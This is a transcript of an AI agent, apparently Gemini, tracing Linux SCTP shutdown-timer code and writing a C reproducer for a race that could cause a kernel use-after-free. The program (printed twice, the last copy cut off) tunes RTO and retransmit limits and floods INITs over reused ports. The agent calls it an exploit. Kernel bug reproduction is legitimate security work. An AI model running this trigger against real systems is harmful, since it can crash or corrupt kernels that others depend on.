I've traced the execution flow within `sctp_sf_t2_timer_expire`. What I'm observing is that upon expiration, the T2 shutdown timer is simply restarted using `sctp_add_cmd_sf` with `SCTP_CMD_TIMER_RESTART` and `SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN)`. This command, when processed by `sctp_cmd_interpreter`, directly references `asoc->timeouts[cmd->obj.to]`.

The crucial piece of information I'm seeking to confirm is the initial value and any subsequent modifications to `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]`. My current understanding is that `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]` is initialized to `asoc->rto_initial`. However, I haven't yet definitively identified any code paths that actively *update* `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]` after its initial assignment. My next step is to thoroughly audit the codebase to ascertain if and how this specific timer value is ever modified. This will be key to understanding the effective RTO for T2 shutdown events.

log-in to see details

map[ContextFile:net/sctp/sm_sideeffect.c IncludeSnippetLines:0 Name:timeouts]

map[References:<nil> TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 56704
							output: 49
							thoughts: 17
						

**The Revelation of the `timeouts` Field within `sctp_association`**

My mind has just experienced a significant jolt of realization, a moment where a crucial piece of the puzzle, which I hadn't explicitly identified before, has snapped into place. It's the discovery, or rather the solidified understanding, that the `timeouts` field is, in fact, an integral component of the `struct sctp_association`. This isn't just a trivial detail; it represents a fundamental aspect of how SCTP manages its state and controls its behavior over time. Understanding this field, and its implications for timers, retransmissions, and connection management, is now paramount to my continued grasp of SCTP's internal workings.

map[ContextFile:net/sctp/sm_sideeffect.c IncludeSnippetLines:0 Name:sctp_association::timeouts]

map[References:[map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_association_init SourceFile:net/sctp/associola.c SourceLine:128] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_association_init SourceFile:net/sctp/associola.c SourceLine:129] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_association_init SourceFile:net/sctp/associola.c SourceLine:130] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_association_init SourceFile:net/sctp/associola.c SourceLine:136] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_association_init SourceFile:net/sctp/associola.c SourceLine:139] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_association_init SourceFile:net/sctp/associola.c SourceLine:140] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_interpreter SourceFile:net/sctp/sm_sideeffect.c SourceLine:1545] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_interpreter SourceFile:net/sctp/sm_sideeffect.c SourceLine:1563] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_new_state SourceFile:net/sctp/sm_sideeffect.c SourceLine:901] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_new_state SourceFile:net/sctp/sm_sideeffect.c SourceLine:903] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_setup_t2 SourceFile:net/sctp/sm_sideeffect.c SourceLine:868] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_setup_t4 SourceFile:net/sctp/sm_sideeffect.c SourceLine:966] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_t1_timer_update SourceFile:net/sctp/sm_sideeffect.c SourceLine:1095] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_t1_timer_update SourceFile:net/sctp/sm_sideeffect.c SourceLine:1096] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_t1_timer_update SourceFile:net/sctp/sm_sideeffect.c SourceLine:1097] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_cmd_t1_timer_update SourceFile:net/sctp/sm_sideeffect.c SourceLine:1101] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_gen_sack SourceFile:net/sctp/sm_sideeffect.c SourceLine:188] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_gen_sack SourceFile:net/sctp/sm_sideeffect.c SourceLine:195] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_packet_transmit SourceFile:net/sctp/output.c SourceLine:636] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_packet_transmit SourceFile:net/sctp/output.c SourceLine:640] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_sf_do_5_1D_ce SourceFile:net/sctp/sm_statefuns.c SourceLine:883] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_sf_do_5_1E_ca SourceFile:net/sctp/sm_statefuns.c SourceLine:984] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_sf_do_9_2_shutdown_ack SourceFile:net/sctp/sm_statefuns.c SourceLine:5780] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_sf_do_9_2_start_shutdown SourceFile:net/sctp/sm_statefuns.c SourceLine:5699] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_sf_eat_data_6_2 SourceFile:net/sctp/sm_statefuns.c SourceLine:3281] map[ReferenceKind:reads ReferencingEntityKind:function ReferencingEntityName:sctp_sf_eat_fwd_tsn SourceFile:net/sctp/sm_statefuns.c SourceLine:4297]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 57830
							output: 46
							thoughts: 16
						

**My Thought Process**

Right, the first thing I need to do here is a quick sanity check on `sctp_cmd_setup_t2`. I'm essentially going to poke at it to see how it's behaving, what its current state is. It's a fundamental step, really, just to get a baseline understanding before diving deeper into anything more complex.

map[ContextFile:net/sctp/sm_sideeffect.c Name:sctp_cmd_setup_t2]

map[SourceCode: 851:	/* Helper function to set the timeout value for T2-SHUTDOWN timer and to set
 852:	 * the transport for a shutdown chunk.
 853:	 */
 854:	static void sctp_cmd_setup_t2(struct sctp_cmd_seq *cmds,
 855:				      struct sctp_association *asoc,
 856:				      struct sctp_chunk *chunk)
 857:	{
 858:		struct sctp_transport *t;
 859:	
 860:		if (chunk->transport)
 861:			t = chunk->transport;
 862:		else {
 863:			t = sctp_assoc_choose_alter_transport(asoc,
 864:						      asoc->shutdown_last_sent_to);
 865:			chunk->transport = t;
 866:		}
 867:		asoc->shutdown_last_sent_to = t;
 868:		asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] = t->rto;
 869:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 58213
							output: 40
							thoughts: 7851
						

**The Race Condition: A Deep Dive into SCTP Timer Manipulation**

My thought process has been a journey of intricate debugging and code analysis, driven by the goal of triggering a specific race condition within the SCTP protocol implementation. It all began with a simple observation: `sctp_cmd_setup_t2` was setting `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] = t->rto;`. This immediately piqued my interest because `sctp_cmd_setup_t2` is invoked from `sctp_sf_do_9_2_start_shutdown`, which is a critical function in the shutdown process.

My immediate deduction was that the `T2_SHUTDOWN` timeout is directly tied to `t->rto`. The plot thickened when I realized that `t->rto` is doubled in `sctp_do_8_2_transport_strike`. This implied that `T2_SHUTDOWN` would exhibit exponential back-off. My initial thought was that if `T2_SHUTDOWN` backed off exponentially, it would eventually reach `rto_max`. If `rto_max` were set to a large value, say 60000ms, then `T2_SHUTDOWN` would back off to 60 seconds. This seemed like a good thing, as it would prevent rapid firing and avoid the very race condition I was investigating.

However, I quickly reversed my thinking. The goal was to *induce* a race condition, not prevent it. This meant I *wanted* `T2_SHUTDOWN` to fire rapidly. Therefore, I needed to set `rto_max` to a *small* value, like 1ms. This would make `T2_SHUTDOWN` fire frequently.

But then a new problem emerged: if `rto_max` was set to 1ms, then `T5_SHUTDOWN_GUARD`, which is initialized as `5 * asoc->rto_max`, would become 5ms. This is far too short, as it would lead to the association being aborted almost immediately. I checked if `T5_SHUTDOWN_GUARD` could be updated directly, but there's no socket option for it.

My attention then shifted to how `T5_SHUTDOWN_GUARD` is managed. I found that it's started in `sctp_sf_do_9_2_start_shutdown` using `SCTP_CMD_TIMER_RESTART`. This is crucial. If `T5_SHUTDOWN_GUARD` expires, it aborts the association. The question became: how could I keep `T5_SHUTDOWN_GUARD` long (or prevent it from expiring) while keeping `T2_SHUTDOWN` short?

I revisited the relationship between `T5_SHUTDOWN_GUARD` and `rto_max`. If `rto_max` was 60000, `T5_SHUTDOWN_GUARD` would be 300 seconds. But this would also make `T2_SHUTDOWN` back off to 60000ms, which I wanted to avoid.

The key distinction I uncovered lay in how timers are managed by `SCTP_CMD_TIMER_START` versus `SCTP_CMD_TIMER_RESTART`. `SCTP_CMD_TIMER_START` uses `timer_reduce`, which *only* reduces the timer's expiration if the new timeout is *earlier* than the current expiration. It *does not* push the timer back if it's already set to expire sooner. This means `T2_SHUTDOWN` *will* expire if it's set to a short duration and not interrupted.

Conversely, `SCTP_CMD_TIMER_RESTART` uses `mod_timer`. `mod_timer` *unconditionally* updates the timer's expiration to `jiffies + timeout`. This means any timer started with `SCTP_CMD_TIMER_RESTART` will have its expiration pushed back by the new timeout value.

This insight was the breakthrough. `T5_SHUTDOWN_GUARD` is started with `SCTP_CMD_TIMER_RESTART`. If I could continuously trigger `sctp_sf_do_9_2_start_shutdown` (by sending `COOKIE_ECHO` messages), I could repeatedly call `SCTP_CMD_TIMER_RESTART` for `T5_SHUTDOWN_GUARD`. With `COOKIE_ECHO`s arriving frequently, the `T5_SHUTDOWN_GUARD` timer would be constantly reset and pushed back, ensuring it would never expire.

Now, what about `T2_SHUTDOWN`? It's also started with `SCTP_CMD_TIMER_START`. If `rto_max` is small (e.g., 10ms), `T2_SHUTDOWN` would be set to 10ms. Since `SCTP_CMD_TIMER_START` uses `timer_reduce`, it wouldn't push the timer back if it was already pending. However, a critical detail emerged: when `T2_SHUTDOWN` *does* expire, `sctp_sf_t2_timer_expire` is called, which itself issues `SCTP_CMD_TIMER_RESTART` for `T2_SHUTDOWN`. This means that *after* the first expiration, `T2_SHUTDOWN` would also be managed by `mod_timer`, and thus would be continuously reset by subsequent `COOKIE_ECHO`s.

The race condition, therefore, hinges on the brief window between the timer expiration check and the timer restart. Specifically, if one CPU is processing a `COOKIE_ECHO` and updating `T2_SHUTDOWN` using `timer_reduce` (which might re-enqueue the timer if it's no longer pending), while another CPU's timer softirq fires and attempts to process the expired `T2_SHUTDOWN` timer, a problem can arise. The `timer_reduce` call by the first CPU might re-enqueue the timer, but the second CPU might have already dequeued it and initiated the timeout logic, leading to a use-after-free if the association's reference count is decremented to zero.

To reliably trigger this, I needed to:
1.  **Set a low `rto_max`**: I settled on 10ms for `rto_initial`, `rto_min`, and `rto_max`. This ensures `T2_SHUTDOWN` fires rapidly initially.
2.  **Prevent association abortion**: I set `max_retrans` to 65535 using `SCTP_ASSOCINFO` to ensure `T2_SHUTDOWN` expirations don't prematurely abort the association.
3.  **Spam `COOKIE_ECHO`s**: This is achieved by having multiple client threads create `SOCK_SEQPACKET` sockets, bind them to a specific port with `SO_REUSEPORT`, and then use `connect()` to send `INIT` messages. The kernel automatically handles the `INIT_ACK` and `COOKIE_ECHO` exchange. The `usleep(1000)` in the client thread ensures a high rate of `INIT`s.
4.  **Trigger `SHUTDOWN_SENT` state**: The server initiates a shutdown using `shutdown(accepted_fd, SHUT_WR)`, putting it into the `SHUTDOWN_SENT` state.
5.  **Fill the server's receive window**: By sending a large message from the client before the shutdown, I ensure the server's receive window is full. This prevents the client from sending a `SHUTDOWN_ACK` when it receives the server's `SHUTDOWN` message, keeping the association in a state where the race can occur.

The use of `SO_REUSEPORT` and `connect()` on `SOCK_SEQPACKET` sockets by the client threads is crucial. `SO_REUSEPORT` allows many client sockets to bind to the same port, and `connect()` without data ensures we're only sending `INIT` messages, which are then handled by the server's state machine. The server's original `SOCK_STREAM` socket correctly routes the `COOKIE_ECHO` based on the association's vtag.

The final refined reproducer meticulously sets up these conditions, increasing the file descriptor limit to safely leak sockets in the client threads and ensuring the server's receive window is full to maintain the necessary state for the race. This detailed analysis, moving from understanding individual timer behaviors to orchestrating their interactions under specific network conditions, has led to the development of a robust reproducer for this SCTP race condition.

map[ContextFile:net/sctp/socket.c Name:sctp_id2assoc]

map[SourceCode: 230:	/* Look up the association by its id.  If this is not a UDP-style
 231:	 * socket, the ID field is always ignored.
 232:	 */
 233:	struct sctp_association *sctp_id2assoc(struct sock *sk, sctp_assoc_t id)
 234:	{
 235:		struct sctp_association *asoc = NULL;
 236:	
 237:		/* If this is not a UDP-style socket, assoc id should be ignored. */
 238:		if (!sctp_style(sk, UDP)) {
 239:			/* Return NULL if the socket state is not ESTABLISHED. It
 240:			 * could be a TCP-style listening socket or a socket which
 241:			 * hasn't yet called connect() to establish an association.
 242:			 */
 243:			if (!sctp_sstate(sk, ESTABLISHED) && !sctp_sstate(sk, CLOSING))
 244:				return NULL;
 245:	
 246:			/* Get the first and the only association from the list. */
 247:			if (!list_empty(&sctp_sk(sk)->ep->asocs))
 248:				asoc = list_entry(sctp_sk(sk)->ep->asocs.next,
 249:						  struct sctp_association, asocs);
 250:			return asoc;
 251:		}
 252:	
 253:		/* Otherwise this is a UDP-style socket. */
 254:		if (id <= SCTP_ALL_ASSOC)
 255:			return NULL;
 256:	
 257:		spin_lock_bh(&sctp_assocs_id_lock);
 258:		asoc = (struct sctp_association *)idr_find(&sctp_assocs_id, (int)id);
 259:		if (asoc && (asoc->base.sk != sk || asoc->base.dead))
 260:			asoc = NULL;
 261:		spin_unlock_bh(&sctp_assocs_id_lock);
 262:	
 263:		return asoc;
 264:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 66725
							output: 2076
							thoughts: 3633
						

**Refinement of SCTP Shutdown Race Condition Exploit**

My primary objective here is to create a reliable exploit for an SCTP shutdown race condition, specifically targeting the interaction between the `T2_SHUTDOWN` timer and the management of retransmission timeouts within SCTP associations. I've been going through the code and reasoning about the SCTP state machine, particularly the shutdown process and how timeouts are applied.

Initially, I was focused on setting `SCTP_ASSOCINFO` and `SCTP_RTOINFO` on the *accepted* file descriptor (`accepted_fd`). My thought was that since `SOCK_STREAM` SCTP sockets have a single association, applying these options directly to the `accepted_fd` would correctly update the association's `max_retrans` and RTO parameters. This seemed like a more direct and safer approach than relying on inheritance from the listening socket.

However, a deeper dive into the SCTP implementation revealed a critical nuance regarding the `SCTP_RTOINFO` option. I realized that while `setsockopt(accepted_fd, SOL_SCTP, SCTP_RTOINFO, ...)` correctly updates the association-level RTO parameters (`asoc->rto_initial`, `asoc->rto_max`, `asoc->rto_min`), it *doesn't* automatically propagate these changes to the `t->rto` (transport-level RTO) for *existing* transports within that association. The `t->rto` is initialized when the transport is created, inheriting from the association's initial RTO.

This is where I had a moment of realization. The `sctp_sf_do_9_2_start_shutdown` function, which initiates the shutdown process, uses `t->rto` for the `T2_SHUTDOWN` timer. If `t->rto` retains its old value (which would be inherited from the *listening* socket's default RTO if `SCTP_RTOINFO` wasn't set on the listening socket), then `T2_SHUTDOWN` would fire with a much longer timeout than the intended 10ms. This would defeat the purpose of setting the RTO to 10ms for rapid testing of the race condition.

Therefore, the crucial insight was that I *must* set `SCTP_RTOINFO` (and `SCTP_ASSOCINFO`) on the *listening* socket (`server_fd`) *before* calling `listen()`. This ensures that any new associations created via `accept()` will inherit the desired RTO (10ms in this case) and `max_retrans` values from the outset. This way, when a transport is established for a new association, `t->rto` will be correctly initialized to 10ms, and consequently, `T2_SHUTDOWN` will also be set to 10ms.

I've verified this by looking at the `sctp_association_init` and transport creation logic within the kernel's SCTP implementation. It confirms that `asoc->rto_initial` is set from the socket's `sp->rtoinfo`, and subsequently, `peer->rto` (which is `t->rto` for the transport) is initialized to `asoc->rto_initial`.

So, the correction involves adding the `setsockopt` calls for `SCTP_RTOINFO` and `SCTP_ASSOCINFO` to `server_fd` before `listen()`. This guarantees that the accepted association's transport layer RTO is correctly set to 10ms from the start, making the `T2_SHUTDOWN` timer fire rapidly as intended for the exploit.

I've also confirmed that `SO_REUSEPORT` on the client socket is indeed correct for allowing multiple client threads to bind to the same address and port, which is essential for spamming INIT messages.

With these adjustments, I am now confident that this code reliably reproduces the SCTP shutdown race condition.

map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

#include "race_toolkit.h"

int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) {
            usleep(10000);
            continue;
        }
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        
        /* 
         * We must keep the fd open long enough for the INIT_ACK to be received
         * and the COOKIE_ECHO to be sent.
         * We leak the fd, but to avoid hitting the limit too fast, we sleep a bit.
         */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
        printf("[-] setrlimit: %s\n", strerror(errno));
    }

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket server: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set RTO to 10ms to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Prevent association from being aborted due to max retransmissions */
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    if (setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("[-] setsockopt SO_RCVBUF: %s\n", strerror(errno));
        exit(1);
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind server: %s\n", strerror(errno));
        exit(1);
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        exit(1);
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket client: %s\n", strerror(errno));
        exit(1);
    }
    int opt = 1;
    if (setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
        printf("[-] setsockopt SO_REUSEPORT: %s\n", strerror(errno));
        exit(1);
    }
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
        printf("[-] bind client: %s\n", strerror(errno));
        exit(1);
    }

    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        exit(1);
    }

    int accepted_fd = accept(server_fd, NULL, NULL);
    if (accepted_fd < 0) {
        printf("[-] accept: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    if (!large_buf) {
        printf("[-] malloc failed\n");
        exit(1);
    }
    memset(large_buf, 'A', 1024 * 1024);
    ssize_t sent = send(client_fd, large_buf, 1024 * 1024, 0);
    if (sent < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {
        printf("[-] send: %s\n", strerror(errno));
        exit(1);
    }

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    if (shutdown(accepted_fd, SHUT_WR) < 0) {
        printf("[-] shutdown: %s\n", strerror(errno));
        exit(1);
    }

    printf("[+] Setup complete, starting race threads...\n");

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    printf("[+] Done.\n");
    return 0;
}]

map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

#include "race_toolkit.h"

int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) {
            usleep(10000);
            continue;
        }
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        
        /* 
         * We must keep the fd open long enough for the INIT_ACK to be received
         * and the COOKIE_ECHO to be sent.
         * We leak the fd, but to avoid hitting the limit too fast, we sleep a bit.
         */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
        printf("[-] setrlimit: %s\n", strerror(errno));
    }

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket server: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set RTO to 10ms to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Prevent association from being aborted due to max retransmissions */
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    if (setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("[-] setsockopt SO_RCVBUF: %s\n", strerror(errno));
        exit(1);
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind server: %s\n", strerror(errno));
        exit(1);
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        exit(1);
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket client: %s\n", strerror(errno));
        exit(1);
    }
    int opt = 1;
    if (setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
        printf("[-] setsockopt SO_REUSEPORT: %s\n", strerror(errno));
        exit(1);
    }
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
        printf("[-] bind client: %s\n", strerror(errno));
        exit(1);
    }

    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        exit(1);
    }

    int accepted_fd = accept(server_fd, NULL, NULL);
    if (accepted_fd < 0) {
        printf("[-] accept: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    if (!large_buf) {
        printf("[-] malloc failed\n");
        exit(1);
    }
    memset(large_buf, 'A', 1024 * 1024);
    ssize_t sent = send(client_fd, large_buf, 1024 * 1024, 0);
    if (sent < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {
        printf("[-] send: %s\n", strerror(errno));
        exit(1);
    }

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    if (shutdown(accepted_fd, SHUT_WR) < 0) {
        printf("[-] shutdown: %s\n", strerror(errno));
        exit(1);
    }

    printf("[+] Setup complete, starting race threads...\n");

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    printf("[+] Done.\n");
    return 0;
}]

map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

#include "race_toolkit.h"

int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) {
            usleep(10000);
            continue;
        }
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        
        /* 
         * We must keep the fd open long enough for the INIT_ACK to be received
         * and the COOKIE_ECHO to be sent.
         * We leak the fd, but to avoid hitting the limit too fast, we sleep a bit.
         */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
        printf("[-] setrlimit: %s\n", strerror(errno));
    }

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket server: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set RTO to 10ms to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
